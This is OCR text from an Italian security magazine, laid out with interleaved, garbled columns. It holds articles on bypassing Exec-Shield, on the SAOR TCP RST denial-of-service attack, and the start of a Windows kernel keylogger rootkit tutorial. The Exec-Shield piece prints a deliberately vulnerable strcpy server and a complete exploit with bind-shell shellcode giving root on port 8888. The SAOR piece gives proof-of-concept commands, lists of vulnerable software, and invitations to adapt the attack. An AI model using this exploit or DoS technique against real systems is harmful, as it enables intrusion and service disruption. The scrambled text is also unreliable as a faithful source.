0xdd 0x88 0x04 0x08 [*]La sua dimensione (108 byte) richiederà in seguito 0xbfbf11c4: 0x18 0x85 0x04 0x08 [**]l'aggiunta di altri 152 byte di garbage data (dati 0xdd 0x88 0x04 0x08 [*]
look at LINUXBYPASSARE EXEC-SHIELD SU FEDORA
E REDHAT LINUX (x86)
34
0xbfbf11cc: 0x55 0xd0 0x4b 0x00 [***] uid=0(root) gid=0(root)
0xf0 0x11 0xbf 0xbf groups=0(root),1(bin),2(daemon),3(sys),4(adm
),6(disk),10(wheel)Gli indirizzi contraddistinti da un asterisco sono i
Exec-Shield è stato così bypassato.puntatori all'istruzione “ ”, quello con due asterischi è ret
l'entry PLT di mentre con tre abbiamo strcpy()Conclusione
contrassegnato l'indirizzo dell'area di memoria in cui lo
shellcode deve essere copiato. In grassetto è possibile Quello descritto oggi è solo un metodo per bypassare invece notare l'indirizzo che punta al buffer utente Exec-Shield. Non è come sfruttare un Vanilla Stack (ovvero all'inizio dello shellcode). Risulta cambiato Overflow ma è ugualmente una tecnica valida. Per fare rispetto alla precedente sessione di debugging per via pratica con un'applicazione reale compilata su Fedora, delle funzionalità di Address Space Layout Red Hat Linux o CenOS, potete comunque prendere Randomization del sistema operativo ma la sua come riferimento la vulnerabilità del Mod_JK descritta posizione (offset) nello Stack è rimasta uguale. nell'articolo precedente. Anche lì da qualche parte nello Continuando nell'esecuzione dell'applicazione viene stack troverete un puntatore al buffer utente :)infine aperta una shell sulla porta TCP 8888:
$ nc IP_SERVER 8888
id
Per accedere ai contenuti messi a disposizione dalla
redazione visita http://www.segfault.it/SS/001/Exec-
Shield/metodo_one.tar.gz
look at LINUXBYPASSARE EXEC-SHIELD SU FEDORA
E REDHAT LINUX (x86)
Tabella 1: server_vuln.c
#include <stdio.h>#include <stdlib.h>#include <netinet/in.h>#include <sys/socket.h>#include <error.h>#include <errno.h>#include <string.h>#include <strings.h>
void handle(char *);void do_it(char *);
int main(int argc, char *argv[]){ /* Puntatore al buffer inviato dall'utente. E' importante per dimostrare che un attacco tramite shellcode è ancora possibile pur la presenza di Exec-Shield. */ char *pointer;
int fd, newfd, ret, clen; struct sockaddr_in xab, client; char mex[1024];
fd = socket(AF_INET, SOCK_STREAM, 0); if (fd == -1) { printf("%s\r\n", strerror(errno)); exit(EXIT_FAILURE); }
memset(&xab, 0, sizeof(xab)); xab.sin_family = AF_INET; xab.sin_port = htons(60000); xab.sin_addr.s_addr = ntohl(INADDR_ANY);
35
look at LINUXBYPASSARE EXEC-SHIELD SU FEDORA
E REDHAT LINUX (x86)
ret = bind(fd, (struct sockaddr *)&xab, sizeof(xab)); if (ret == -1) { printf("%s\r\n", strerror(errno)); exit(EXIT_FAILURE); }
ret = listen(fd, 5); if (ret == -1) { printf("%s\r\n", strerror(errno)); exit(EXIT_FAILURE); }
for (; ;) { clen = sizeof(client); newfd = accept(fd, (struct sockaddr *)&client, &clen); if (newfd == -1) { printf("%s\r\n", strerror(errno)); exit(EXIT_FAILURE); }
read(newfd, mex, sizeof(mex), 0); pointer = mex;
handle(mex); memset(&mex, 0, sizeof(mex)); send(newfd, "Thank You!\r\n", 12, 0); close(newfd); } }
void handle(char *mex){ /* Puntatori Inutilizzati. Il loro scopo in questo sorgente di test è solamente quello di occupare spazio in memoria. */ char *a, *b, *c, *d;
do_it(mex); return;}
void do_it(char *mex){ char request[256];
memset(&request, 0, sizeof(request)); strcpy(request, mex); printf(">>%s>>\r\n", request);}
#include <stdio.h>#include <stdlib.h>#include <netinet/in.h>#include <sys/socket.h>#include <error.h>#include <errno.h>#include <string.h>
Tabella 2: exploit.c
36
look at LINUXBYPASSARE EXEC-SHIELD SU FEDORA
E REDHAT LINUX (x86)
#include <strings.h>
char shellcode[] = // shellcode 108 byte "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x84\x06\x32" "\xd3\x83\xeb\xfc\xe2\xf4\xb5\xdd\x61\x90\xd7\x6c\x30\xb9\xe2\x5e\xab\x5a" "\x65\xcb\xb2\x45\xc7\x54\x54\xbb\xa6\xbe\x54\x80\x0d\xe7\x58\xb5\xdc\x56" "\x63\x85\x0d\xe7\xff\x53\x34\x60\xe3\x30\x49\x86\x60\x81\xd2\x45\xbb\x32" "\x34\x60\xff\x53\x17\x6c\x30\x8a\x34\x39\xff\x53\xcd\x7f\xcb\x63\x8f\x54" "\x5a\xfc\xab\x75\x5a\xbb\xab\x64\x5b\xbd\x0d\xe5\x60\x80\x0d\xe7\xff\x53"
// 152 byte di A "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAA"
// 6 istruzioni RET "\xdd\x88\x04\x08\xdd\x88\x04\x08\xdd\x88\x04\x08\xdd\x88\x04\x08" "\xdd\x88\x04\x08\xdd\x88\x04\x08"
// strcpy() PLT "\x18\x85\x04\x08"
// 1 istruzione RET "\xdd\x88\x04\x08"
// library address "\x55\xd0\x4b\x00";
int main(int argc, char *argv[]){ int fd, ret, l = 0, i = 0; struct sockaddr_in xab; char buf[4098];
if (argc != 2) { printf("utilizzo %s [Indirizzo_IP]\r\n", argv[0]); exit(EXIT_FAILURE); }
fd = socket(AF_INET, SOCK_STREAM, 0); if (fd == -1) { printf("%s\r\n", strerror(errno)); exit(EXIT_FAILURE); }
memset(&xab, 0, sizeof(xab)); xab.sin_family = AF_INET; xab.sin_port = htons(60000); xab.sin_addr.s_addr = inet_addr(argv[1]);
ret = connect(fd, (struct sockaddr *)&xab, sizeof(xab)); if (ret == -1) { printf("%s\r\n", strerror(errno)); exit(EXIT_FAILURE); }
send(fd, shellcode, strlen(shellcode), 0); close(fd);
printf("[%s]: Controlla la porta TCP 8888 per una shell\r\n", argv[1]);}
37
look at CROSS PLATFORM SAOR: Attacco al TCP
sequenza TCP. Nel caso di SAOR però il tipo di DoS Introduzione generato è di differente entità. Il successo dell'attacco
consiste nel blocco momentaneo o nel rallentamento inque anni fa veniva pubblicato nella mailing del servizio colpito, mentre in altri casi può addirittura list sikurezza.org[1] un messaggio che causarne il crash. Questo rende SAOR una valida descriveva una tecnica di offesa denominata Calternativa ai tradizionali attacchi di massa DDoS dal suo stesso autore SAOR, acronimo di States basati sulla saturazione della banda a disposizione Attack Over RST . A dispetto del poco dell'host vittima, in quanto l'azione offensiva può interessamento mostrato dalla comunità nei confronti essere condotta in modo preciso su uno specifico del post (tanto che questa tipologia di attacco può servizio, sprecando meno risorse hardware e/o di essere considerata ancora oggi inedita al grande rete e risultando quindi in un minore rischio di pubblico che orbita attorno al panorama individuazione. Se c'è un motivo per il quale internazionale della sicurezza informatica) SAOR probabilmente questa tecnica non è stata rimane a distanza di così tanto tempo una tecnica che vastamente impiegata fra le botnet di PC zombie, può rappresentare una minaccia reale di vasta questo è da ricercare nelle modalità di pubblicazione portata. Riconducibile alla categoria dei DoS/DDoS, del post originariamente apparso nel 2002 nella SAOR non è un attacco basato sulla saturazione mailing list sikurezza.org, ovvero esclusivamente in della banda di rete quanto sull'utilizzo sovversivo del lingua italiana e mai tradotto né divulgato in altre bit di controllo RST dei pacchetti TCP. Il fine è quello forme o attraverso fonti alternative.di generare connessioni disallineate, ovvero attive
nella tabella dei collegamenti del server ma
contemporaneamente inesistenti presso quella del
client. L'impiego del flag RST non è nuovo a scenari di
offesa perpetrati tramite Internet. Uno studio[2]
rilasciato dal ricercatore Paul Watson nel 2004
descriveva ad esempio come attraverso lo spoofing,
il bit di controllo RST potesse essere utilizzato per
distruggere le connessioni intercorse fra due host
senza conoscere preventivamente i numeri di
[1] http://www.sikurezza.org/ml/06_02/msg00172.html
[2] http://osvdb.org/reference/SlippingInTheWindow_v1.0.doc
CLOSED
SYN_SENT
ESTABLISHED
ESTABLISHED
SYN_RCV
LISTEN
CLIENT SERVER
SYN (100)
SYN (300) ACK(101)
ACK (301)
Figura 1: TCP Three Way Handshake
38
look at
ed un Acknowledgement Number, sempre della Il 3 Way Handshakedimensione di 32 bit, che equivale al valore di
K+1. Questo comportamento indica che il server Per comprendere questa tecnica di attacco è accetta la connessione e chiede conferma per necessario fare un passo indietro rispolverando il l'inizio della sessione (cioè lo scambio vero e modo in cui le connessioni TCP vengono stabilite. Il proprio dei dati) . Il server in questo momento si preludio, ovvero la sincronizzazione della sessione trova nello stato SYN_RCVD;prima che il client ed il server possano scambiarsi
reciprocamente i dati, avviene tramite una procedura
definita 3-way handshake e regolata dalla RFC §Il client risponde al server con un pacchetto TCP
793[3] proprio attraverso lo scambio di tre pacchetti attivando il bit di controllo ACK e generando un
(Figura 1) così distribuiti: Acknowledgement Number a 32 bit equivalente al
valore di J+1, concludendo di fatto la fase del 3
§il client invia un pacchetto TCP al server attivando way handshake.
il bit di controllo SYN e generando un numero di
sequenza (Sequenze Number) a 32 bit che qui A questo punto la connessione in entrambi le
definiremo K. Questo pacchetto equivale ad una direzioni è ESTABLISHED (stabilita). In realtà il client
richiesta di connessione. Il client si trova in questo passa dallo stato SYN_SENT allo stato ESTABLISHED momento nello stato SYN_SENT; già dopo aver ricevuto il secondo pacchetto inviato
durante il preludio alla connessione.
§il server risponde al client con un pacchetto TCP
attivando contemporaneamente i bit di controllo
SYN ed ACK. Il server genera anche un proprio
numero di sequenza a 32 bit che qui definiremo J
Source port Destination port
Sequence number
Acknowledgement number
TCPheaderlenght
Window size
Checksum Urgent pointer
Options (0 or more 32-bit words)
Data (optional)
URG
ACK
PSH
RST
SYN
FIN
32 bits
Figura 2: header TCP
[3] http://www.faqs.org/rfcs/rfc793.html
CROSS PLATFORM SAOR: Attacco al TCP
39
look at
server, auto-chiudendo così la sua connessione). Il SAOR: l'attaccosecondo è il modo in cui avviene il reset del
Un attacco di tipo SAOR ha origine subito dopo che collegamento. Il Sequence Number è infatti uguale
una connessione è stata stabilita. Il client inganna lo all'Acknowledgment Number dell'ultimo pacchetto
stack TCP/IP del suo sistema operativo resettando la inviato dal client al completamento del three way
connessione attraverso il bit di controllo RST, handshake (terzo riferimento in Tabella 1). Anche i
utilizzando la tecnica dello spoofing (Figura 3). Questa numeri che identificano le porte del client e del server
procedura viene ripetuta centinaia o migliaia di volte ed devono naturalmente essere gli stessi affinché la
ha spesso l’effetto di causare il crash, il blocco di un connessione possa essere efficacemente distrutta.
servizio o rallentarne notevolmente le performance.
Per capire cosa accade realmente analizziamo in
Tabella 1 il contenuto di una sessione di esempio
(semplificata per l'occasione) ottenuta mediante
tcpdump[4]. I primi tre pacchetti sono relativi all'inizio ed
al completamento della fase di three way handshake. Il
quarto pacchetto è invece il vero e proprio vettore
dell'attacco. Qui è possibile notare due aspetti di
interesse. Il primo è che la connessione pare essere
stata resettata dal server (in realtà è il client che
attraverso la tecnica dello spoofing ha falsificato il
pacchetto in modo da farlo apparire proveniente dal
[4] http://www.tcpdump.org: Analizzatore di rete per Linux basato su
linea di comando che può essere impiegato all'occorrenza anche
come packet sniffer. Un'implementazione per Windows
d e n o m i n a t a W i n d u m p è d i s p o n i b i l e d a l s i t o
http://www.winpcap.org/windump/
CLOSED
SYN_SENT
ESTABLISHED
ESTABLISHED
SYN_RCV
LISTEN
CLIENT SERVER
SYN (100)
SYN (300) ACK(101)
ACK (301)
RST (301)
Figura 3: Vettore di un attacco SAOR (RST Packet)
CROSS PLATFORM SAOR: Attacco al TCP
40
look at
TABELLA 1: sessione ricavata con il comando tcpdump -n-S port 80
Pacchetto 1: client.48550 > server.http: S 2118170236:2118170236(0) win 5840
Pacchetto 2: server.http > client.48550: S 59907385:59907385(0) ack 2118170237
Pacchetto 3: client.48550 > server.it.http: . ack 59907386 win 183
Pacchetto 4: server.http > client.48550: R 59907386:59907386(0) win 0
Legenda
S = SYN
. = nessun dato solo ACK
R = RST
Ciò significa che nessuna nuova richiesta può essere Case Study: Apache 1.3.x e 2.0.xservita da Apache per i successivi 5 minuti
dall'attacco. Il DoS può essere ripetuto all'infinito in Tra i servizi che maggiormente si prestano ad un quanto anche disponendo di modeste capacità di attacco di tipo SAOR vi è HTTP ed in particolare banda e di un unico sistema dal quale condurre l'implementazione offerta dal Web Server Apache (per l'azione malevola, è possibile allocare in poco tempo il momento prenderemo in esame solo le versioni del molte più connessioni fantasma di quante il server branch 1.3.x e 2.0.x). Sono due le impostazioni che lo riesca a chiuderne.rendono particolarmente soggetto a questa
problematica:Un metodo semplice per misurare il Timeout di un web
server Apache 1.3 o 2.0 è quello di eseguire il §Timeout: indica dopo quanti secondi ciascuna comando:connessione HTTP deve essere terminata;
§Maxclients : indica quante connessioni # date; telnet www.nomesito.xx 80; date contemporanee il web server può gestire;
e calcolare la differenza tra i due orari stampati a video Di default, partendo da un'installazione praticata prima e dopo il termine di esecuzione del telnet.attraverso i sorgenti[5], entrambi le opzioni sono così
configurate in httpd.conf: Ma osserviamo più da vicino un esempio pratico degli
effetti causati da un attacco di tipo SAOR. Per farlo ci Timeout 300 avvarremo di un Proof Of Concept che la redazione di MaxClients 150
Security System desidera mettere a disposizione dei
suoi lettori[6]. L'effetto prodotto quando la coda di Apache raggiunge
il limite massimo (MaxClients) di connessioni gestibili
è che il servizio smette di elaborare ogni altra richiesta
aggiuntiva proveniente dai client. In condizioni di
default quindi un SAOR Attack permette di allocare in
pochissimo tempo 150 o più connessioni, ciascuna
delle quali rimane appesa nello stato ESTABLISHED
per 300 secondi prima di essere terminata dal server.
[5] http://httpd.apache.org
[6] http://www.segfault.it/SS/001/SAOR/saor_listen.tar.gz: Il PoC
può essere compilato su Linux ma i suoi effetti si estendono
anche a servizi ospitati in altre piattaforme (come Windows ad
esempio).
CROSS PLATFORM SAOR: Attacco al TCP
41
look at
Il codice è inedito e non è mai stato pubblicato in rete, Dall'output si evince che nel server è in atto un
pertanto può essere considerato a tutti gli effetti uno collegamento proveniente da ip_client dalla porta
0day (forse non più a partire da oggi ). Fare riferimento 51979 verso il servizio web locale (porta 80). Questa
al file README all'interno del package prelevabile dal connessione però lato client non esisterà. Ciò significa
sito www.segfault.it per determinare come compilare che il server ha una connessione allocata nello stato
l'applicazione e risolvere le dipendenze necessarie ESTABLISHED che di fatto non esiste. La procedura
(step che non copriremo in questo articolo). Il sorgente qui riprodotta, reiterata svariate volte, permette in
si compone di due parti (SAOR-listen e SAOR- parole povere di allocare presso il server centinaia o
connect). La prima è la componente server. Si migliaia di connessioni fantasma rispetto ad un
dispendio di risorse client side praticamente nullo. Ad occupa essenzialmente di osservare i pacchetti che
esempio lanciando opportunamente la componente fluiscono in rete e determinare se e quando resettare
SAOR-connect, in poco tempo ip_server sulla porta 80 con il metodo SAOR una connessione. La seconda è
invece la componente client che si occupa di avviare non sarà più raggiungibile. Quanto più il timeout del
ripetutamente il three way handshake presso la servizio sarà elevato, tanto più l'attacco avrà efficacia.
destinazione ed il servizio vittima (una semplice
connect() ripetuta dentro un ciclo infinito). Un ulteriore aspetto interessante degno di nota è che
l'attacco non produce alcuna indicazione nei file di log
Per lanciare la parte server aprite una finestra di shell e del servizio che permetta all'amministratore di risalire a
digitate: chi lo ha condotto. Raggiunto il limite Maxclients nel
file degli errori del webserver (di default error_log) # ./SAOR-listen "host ip_server and port 80" l'unico messaggio visibile sarà:eth0
[Sun Apr 01 17:51:22 2007] [error] server
Gli argomenti specificati indicano a SAOR-listen di reached MaxClients setting, consider raising
the MaxClients settingresettare tutte le connessioni relative al socket
ip_server:80 passanti per l'interfaccia eth0. Facciamo
adesso un test manuale. Lanciamo da locale (ovvero Niente indirizzi IP quindi neanche in access_log in
da dove è stato avviato SAOR-listen) un telnet verso quanto il semplice three way handshake non è
ip_server: sufficiente per generare una entry nei log di Apache se
a seguire non vi è una esplicita richiesta HTTP.# telnet ip_server 80
Trying ip_server...Case Study: Apache 2.2.x
Connected to ip_server
Escape character is '^]'.Gli ultimi rilasci stabili del branch 2.2 di Apache Connection closed by foreign host.
appaiono essere più coriacei rispetto alle edizioni 1.3.x
e 2.0.x del web server di fronte ad un SAOR Attack. A La prima cosa da notare è che quasi immediatamente partire da questo release infatti il servizio non la connessione viene chiusa (segno che la considera stabilito un collegamento fino a quando il componente SAOR-listen s ta svo lgendo client non invia almeno un byte di dati al server. adeguatamente il suo lavoro). Adesso spostiamoci Osserviamo più da vicino cosa succede dopo che il momentaneamente sul server e diamo un breve three way handshake viene portato a termine su sguardo alla sua tabella delle connessioni:Apache 2.2:
# netstat -an
[...]
ip_server:80 ip_client:51979 ESTABLISHED
CROSS PLATFORM SAOR: Attacco al TCP
42
look at
16:05:41.088095 server.80 > client.52346: S handshake, all'arrivo del primo SYN chi attacca 2119450554 ack 256910396 vedrebbe infatti il kernel della propria macchina 16:05:41.088124 client.52346 > server.80: . rispondere con un pacchetto RST, il che farebbe capire ack 2119450555 al server che la connessione presso il client non esiste,
connessione che a sua volta verrebbe chiusa lato 16:05:47.137328 server.80 > client.52346: S
Apache. 2119450554 ack 256910396
16:05:47.137358 client.52346 > server.80: . Questo non significa però che il branch 2.2 del web ack 2119450555 server è immune da attacchi SAOR. Il problema può
infatti essere facilmente bypassato inviando, al 16:06:23.186346 server.80 > client.52346: S
completamento del three way handshake, un solo byte 2119450554 ack 256910396
16:06:23.186376 client.52346 > server.80: . di dati e resettando subito dopo la connessione lato
ack 2119450555 client. […]
Le modifiche necessarie per rendere utilizzabile anche Si può notare come il server invii ad intervalli regolari con Apache 2.2.x il codice segnalato nella nota 6 sono crescenti un pacchetto TCP con flag SYN a cui il client minime (solo un paio di step in più). Lasciamo risponde ogni volta con un ACK. Un normale attacco comunque al lettore il compito di adattarlo a SAOR non potrebbe funzionare in questo caso. Se la piacimento!connessione viene resettata appena dopo il three way
QUALCHE DATO STATISTICO
Noi dello staff di Security System abbiamo voluto sondare in prima persona l'attuale livello di diffusione delle tre
ultime versioni di Apache, testando 46.670 web server in rete. Dai risultati emerge che ancora una grande
quantità di sistemi fa largo uso dei branch 1.3.x e 2.0.x, a dispetto di un maggior livello di protezione offerto
dall'edizione 2.2.x, più resistente ad attacchi di tipo SAOR ma non completamente immune a questa tecnica di
offesa:
34,46%
7,14%
58,40%
Apache 1,3,x(27.257)
Apache 2.0x(16081)
Apache 2.2.x(3332)
CROSS PLATFORM SAOR: Attacco al TCP
43
look at
Un altro rilievo interessante proviene dal tempo di Timeout medio che deve trascorrere prima che il web server
Apache scarti una connessione nulla (ovvero nella quale, dopo il termine del three way handshake, non viene
più scambiato alcun dato). In quest'altro caso emerge che è ancora molto alta in rete la percentuale di web
server che hanno un timeout di 5 minuti o compreso nell'intervallo 1-3 minuti e che sono quindi particolarmente
esposti ad un attacco SAOR :
38,12%
14,28%
47,60%
5 minuti
tra 1 e 3 minuti
meno di 60secondi
Con Timeout superiori o uguali al minuto in genere è sufficiente lanciare un SAOR Attack da un unico
sistema per riuscire a bloccare o rallentare considerevolmente un web server Apache.
servizi (nello specifico SMTP, SSH, FTP e POP3) E gli altri servizi?abbiamo deciso di testare il loro grado di resistenza ad
un attacco di tipo SAOR. Ciò che ne è scaturito sono i HTTP è un servizio che si presta maggiormente ad risultati delle Tabelle 2 e 3.attacchi di tipo SAOR ma non è l'unico esposto a tale
minaccia. Quando si parla di questa tecnica dobbiamo Pur non riportato in entrambe queste tabelle, è infatti distinguere tra due categorie differenti di significativo come dai nostri test siamo riusciti a servizi/protocolli: quelli che al termine del three way bloccare con successo il servizio di desktop remoto di handshake attendono la richiesta dell'utente e quelli Windows 2000 ma non quello di Windows Server che immediatamente dopo inviano al client un banner 2003 (che impone una restrizione sul numero delle identificativo o uno stream di byte service dependent[7]. connessioni fatte da uno specifico indirizzo IP, Appartengono ad esempio alla prima categoria oltre ad restrizioni non presenti invece nella versione HTTP anche RDP (il protocollo che rende possibili le precedente del sistema operativo). Nel caso del sessioni di desktop remoto su Windows) ed SMB (il servizio CIFS (porte 139/445) siamo invece riusciti a protocollo per le condivisioni di file e stampanti che replicare un DoS precludendo la fase di autenticazione rappresenta una delle parti più importanti che remota e di scambio di file su Windows 2000 SP4 e compongono il servizio CIFS) mentre per la seconda Windows XP SP2 (Windows Server 2003 non è stato categoria (indubbiamente più numerosa) si possono testato in questo caso).menzionare FTP, SMTP, POP3, IMAP, RFB (il
protocollo utilizzato dal VNC e dai sistemi derivati),
SSH, etc…
Prendendo come riferimento alcuni fra questi ultimi
[7] Per intenderci il codice dimostrativo indicato nella nota 6
funziona solo contro la prima categoria di servizi. Lasciamo al
lettore il compito di adattarlo in modo che possa funzionare anche
con i servizi appartenenti alla seconda categoria.
CROSS PLATFORM SAOR: Attacco al TCP
44
look at
Fra le implementazioni SMTP, Exim è invece risultato Al contrario di Apache infine le versioni 5.0 e 6.0 di IIS (il
in ogni implementazione testata non vulnerabile. web server presente di default in alcune edizioni di
Stesso discorso per Courier nella categoria dei servizi Microsoft Windows) non sono risultare vulnerabili ad
POP3. un attacco di tipo SAOR.
TABELLA 2
Vulnerabile
Non Vulnerabile
SMTP 65% 35% POP3 63,63% 36,37% FTP 87,50 12,50 SSH 100% 0%
Percentuali di vulnerabilità[8] al SAOR Attack
riscontrate su 45 implementazioni totali dei servizi
SMTP, POP3, FTP ed SSH testati
[8] Un servizio viene considerato vulnerabile se un attacco SAOR
riesce a precluderne l'accesso agli utenti per un periodo di tempo
arbitrario o se riesce notevolmente a rallentarne le performance.
TABELLA 3
Alcuni dei servizi e delle implementazioni software risultati vulnerabili[9] ad un attacco SAOR
[9] Si premette che le medesime versioni di alcuni fra questi
servizi sono risultate talvolta vulnerabili in certi casi e non
vulnerabili in altri. Ciò dipende naturalmente dal modo in cui il
servizio è configurato e dalle misure di hardening effettivamente
implementate per proteggerlo. I dati della tabella devono pertanto
essere considerati in funzione di questo aspetto.
SMTP POP3 FTP SSH
Qmail Cubib Circle 1.31 ProFtpd
1.2.8/1.2.9/1.2.10/1.3.10 OpenSSH 3.5.1
Postfix TPOP 3D LukeMFTPD 1.2 Beta 1 OpenSSH 3.7.1 Sendmail
8.12.11/8.12.9 Imail 5.0.6 WarFTPD 1.71 OpenSSH 3.8.1
Exchange 2003/ Microsoft SMTP 6.0
Argosoft 1.8.2 PureFTPD OpenSSH 4.2
ArgoSoft 1.8.2.3 Cyrus 2.0.16 OpenSSH 4.2p1 MDaemon 7.1.3/8.1.3
MDaemon 9.5.6 OpenSSH 4.5
Conclusione
Diversi altri aspetti che per il momento intendiamo lasciamo in sospeso dovrebbero essere discussi su SAOR, aspetti
che ci ripromettiamo di approfondire in un altro numero di Security System. Prima di concludere però vale la pena
spendere qualche parola sulle possibilità di difesa contro la tecnica oggi descritta. Molti servizi da noi testati e risultati
immuni ad un SAOR Attack sferrato da un singolo sistema, si difendono attualmente implementando un limite nelle
connessioni client. Superato questo limite non viene più concesso allo stesso indirizzo IP di comunicare con il
servizio fino a quando le altre connessioni allocate non vengono chiuse. Seppure un buon metodo per proteggersi da
un attacco lanciato da un unico host, ciò non è sufficiente a mettere la parola fine sulla questione, soprattutto in uno
scenario distribuito dove cioè più sistemi collaborano al fine di seppellire il server sotto il carico di migliaia di
collegamenti fantasma. Quale altro metodo secondo voi potrebbe aiutare a risolvere definitivamente il problema?
Segnalateci le vostre idee (ed eventualmente il vostro codice) scrivendo a [email protected]. Potreste essere
coinvolti in una iniziativa cui daremo maggiore spazio a partire dai prossimi numeri di Security System.
CROSS PLATFORM SAOR: Attacco al TCP
45
a almeno 11 anni a questa parte[1] uno degli essere gestito da più di un driver, cioè i driver in
strumenti immancabili nella “valigia virtuale” di Windows sono organizzati secondo un modello a Dogni smanettone è il rootkit. Sviluppato con lo strati: ognuno ha il suo ruolo ed entra in gioco in un
scopo di sniffare il traffico di rete, intercettare i tasti momento specifico. Ad esempio la componente che
digitati dagli utenti o sovvertire le normali operazioni del comunica direttamente con l'hardware viene definita
sistema agendo da backdoor (ovvero con l'obiettivo bus driver (diminutivo PDO), mentre quella che
principale di assicurarsi un accesso invisibile e implementa le funzionalità principali viene denominata
reiterato nel tempo) i primi componenti di questo tipo function driver (o utilizzando un diminutivo, FDO).
operavano in user land, andando a sostituire i comuni
file di sistema. L'approccio però si rivelò ben presto
inefficace con l'avvento di tool come Tripwire[2], capaci
di fotografare lo stato del filesystem in un dato
momento e compararlo con uno snapshot successivo
per identificare le applicazioni modificate o gli elementi
estranei aggiunti. L'interesse degli smanettoni [1] Quando l'autore dell'articolo ha iniziato ad interessarsi di cominciò quindi a spostarsi verso il lato kernel. I sicurezza informatica nel 1997, era molto praticato al tempo vantaggi di eseguire il proprio codice a ring 0[3] erano in l'hacking delle shell finalizzato all'installazione di IRC BNCBot o
passato (e sono ancora oggi nel presente) notevoli. PSYBot, tutte componenti che si cercava di nascondere agli occhi
Anzitutto si ha la possibilità di disporre sempre di indiscreti dell'admin, inizialmente con metodi rudimentali (ad
esempio rinominando il file di sistema originale ed al suo posto privilegi superiori a qualsiasi altra applicazione utilizzando uno script bash che richiamava l'applicazione regolare e eseguita in user land (anche lanciata con permessi filtrava l'output prima che venisse visualizzato dall'amministratore
amministrativi), inoltre ci si trova ad operare allo stesso della macchina), poi via via con delle applicazioni compilate che
livello di tutte le altri componenti kernel, incluse quelle venivano organizzate in veri e propri package, fino a giungere alla
installate dalle comuni applicazioni antivirus ed creazione di moduli kernel.
antispyware, permettendo all'intruso di “guerreggiare” [2] Di fatto questo genere di strumenti sono in grado di calcolare ad armi pari con esse. In aggiunta una componente che l'impronta digitale di ogni file presente nel filesystem con algoritmi di
gira in kernel land non è identificata da un processo in hashing come MD5 o SHA-1, oltre a tenere traccia degli ultimi
esecuzione in memoria visionabile ad esempio con il accessi e delle ultime modifiche.
Task Manager o con strumenti simili, quindi è meno [3] Nell'architettura x86 (ma si tratta di un aspetto più o meno facilmente rintracciabile.comune a molte altre piattaforme hardware) il processore fornisce
un meccanismo elementare di divisione dei privilegi attraverso i
Rootkit per Windows ring. Ad esempio Windows e Linux sui sistemi a 32 bit fanno girare le
applicazioni utente a ring 3 (inclusi i programmi lanciati
dall'amministratore) e le componenti kernel (i driver) a ring 0. I ring Allo stesso modo di Linux e più in generale di Unix, i in mezzo vengono raramente e comunque quasi mai direttamente
primi rootkit apparsi su Windows operavano utilizzati dal sistema operativo. Il passaggio da un ring meno
principalmente in user land. In questo caso alcune privilegiato ad uno di livello superiore avviene attraverso un call
gate o nei moderni processori tramite l'istruzione sysenter.tecniche di hooking erano addirittura note fin dal
1994[4][5]. Dal 2004 ad oggi però il numero dei kernel [4] “Load Your 32-bit DLL into Another Process's Address Space rootkit è cresciuto in modo impressionante fino a Using INJLIB” Microsoft Systems Journal Volume 9 Number 5 (May
giungere ai livelli odierni di totale predominanza. Su 1994).
Windows a girare a ring 0 sono i driver. Non a caso un
kernel rootkit per Windows è essenzialmente un driver [ 5 ] F u n z i o n i c o m e S e t W i n d o w s H o o k E x ( ) e
che opera come filtro sulle richieste passanti. Al GetAsyncKeyState()(esportate dalla libreria User32.dll)
possono essere utilizzate fin da Windows 95 ed NT 3.1 per contrario però di molti altri sistemi operativi, ogni device progettare componenti malware come keylogger.(ovvero dispositivo fisico) in ambiente Microsoft può
look at WINDOWS
FILTER DRIVER: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows
46
Esiste però una terza categoria di driver che è meno
nota ma indubbiamente più interessante dal punto di Il Windows Driver Kit (in passato Driver vista della sicurezza, il Filter Driver. Development Kit) è un package rilasciato
gratuitamente da Microsoft che contiene tutti gli Gerarchicamente parlando, per ciascun dispositivo
strumenti e la documentazione utili per la creazione di fisico del sistema, il PDO è l'elemento collocato più in
un ambiente di sviluppo e test di driver per Windows. basso, seguito dall'FDO e quindi dagli eventuali Filter Per prelevare il kit nel momento in cui si scrive è Driver[6]. Quando si verifica un evento o una richiesta di necessario loggarsi (o preventivamente registrarsi) con
interazione con l'hardware in questione, questo u n a c c o u n t p a s s p o r t a l s i t o
evento/richiesta viene prima visto dalla componente http://connect.microsoft.com/.
filtro, quindi dall'FDO e poi dal bus driver (il PDO),
ovvero l 'elemento più astrattamente vicino First Stepsall'hardware. Una volta soddisfatta, la richiesta/evento
Come già detto un filter driver opera mediante un hook. fa il percorso inverso (PDO->FDO->FIlter Driver).
Questo “aggancio” avviene in modo trasparente,
ovvero i driver di livello inferiore non sono allertati della Se quindi lo scopo legittimo di un filter driver è quello di
presenza del filtro che può così agire in totale libertà per “agganciarsi” allo stack delle componenti kernel che
nascondere/modificare dati o semplicemente per gestiscono un dispositivo hardware filtrando le
intercettarli in modo silenzioso. Tali dati vengono interazioni in ingresso/uscita (ad esempio per
scambiati per mezzo degli IRP (I/O Request Packet), implementare una nuova funzionalità o risolvere un
una struttura allocata dall'I/O Manager di Windows[8] bug nel function driver senza dover necessariamente
proprio per consentire la comunicazione tra i vari modificare il codice), allo stesso tempo gli usi ai fini
device driver. La prima funzione invocata quando un sovversivi di questa tecnologia sono altrettanto
driver viene caricato in memoria è DriverEntry (un po' evidenti. Con poco sforzo diviene infatti possibile
come l'entry point di una comune applicazione in C è il creare componenti come keylogger e sniffer,
corpo main ed in una DLL la funzione DllMain) :attaccandosi ai device driver che gestiscono tastiera e
scheda di rete. Uno dei modi migliori per cominciare ad DriverEntry(
addentrarsi in questo mondo parecchio vasto ed in IN PDRIVER_OBJECT pDriverObject,
continua evoluzione è quindi quello di osservare da IN PUNICODE_STRING RegistryPath )
vicino come è fatto un kernel rootkit. Per lo scopo di
quest'oggi analizzeremo il sorgente di esempio Klog[7],
un keylogger lato kernel scritto da Clandestinity,
divenuto molto celebre e diffuso in rete. Per ragioni di
spazio naturalmente nel presente articolo diversi
